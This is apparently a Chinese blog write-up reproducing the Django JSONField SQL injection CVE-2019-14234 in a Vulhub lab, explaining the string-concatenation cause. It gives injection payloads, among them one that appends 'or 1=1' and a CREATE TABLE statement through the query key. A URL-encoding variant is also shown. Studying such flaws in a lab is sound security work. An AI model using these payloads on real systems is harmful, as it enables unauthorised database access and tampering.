vulhub之CVE-2019-14234

文章详细介绍了Django框架中JSONField类型存在的SQL注入漏洞,由于字符串拼接方式生成SQL,攻击者可控制键名执行恶意SQL。通过Vulhub的靶场环境进行了测试,发现注入需要对参数进行URL编码才能生效。作者提到了一个问题,即未编码的payload会被解析为正常查询,而编码后的payload才能触发注入,引发安全问题。
摘要由CSDN通过智能技术生成

今天试验的是一个SQL注入的漏洞。

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的

位置注入SQL语句。

Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原

因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django

通过JSONField生成sql语句时,是通过简单的字符串拼接。

通过JSONField类获得KeyTransform类并生成sql语句的位置。

其中key_name是可控的字符串,最终生成的语句是WHERE (field->’[key_name]’) =

‘value’,因此可以进行SQL注入。

漏洞原理如上,网上也一大把,可以自己搜。

1,vulhub启动靶场环境:

root@iZ2vc0sjyslprkjltvvnxbZ:/vulhub/django/CVE-2019-14234# docker-compose up -d

2,进行试验,直接到这个目录了:

http://47.109.84.159:8000/admin/vuln/collection/

collection/后面就是poc或者payload了。

3,先进行一个简单的试验试试:

http://*******:8000/admin/vuln/collection/?detail__a'b+-123

此时SQL语句是这样的:

​​​​​​​WHERE ("vuln_collection"."detail" -> 'a'b -123') =..

网上的那些poc太长了,无法看到完整的查询语句,我这个精简了一下,就可以理解这个过程了。

正常的应该是:

WHERE ("vuln_collection"."detail" -> 'a') = '"1"'

但是因为a是可控的,将a换成字符串:

title')='1' or 1=1 ;create table cmd_exec(cmd_output text)--

那这个语句就变成了:

WHERE ("vuln_collection"."detail" -> 'title')='1' or 1=1 ;create table cmd_exec(cmd_output text)--') = '"1"'

好了,分析完毕。

遇到的问题:

用detail__a'b=123进行注入:

WHERE ("vuln_collection"."detail" -> 'a'b') = '"123"',

如上我感觉是注入失败了,因为查询语句成了正常的了,只是报语法错误而已。查询逻辑没变。

当将detail__a'b=123进行urlencode之后,为:detail__a%27b%3D123

用这个进行注入,结果:

WHERE ("vuln_collection"."detail" -> 'a'b=123')

可以看到,进行编码之后,才会注入成功。

这个问题困扰了我两天,今天才发现是编码的原因,但是没有进一步研究,有了解的小伙伴可以交流一下。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值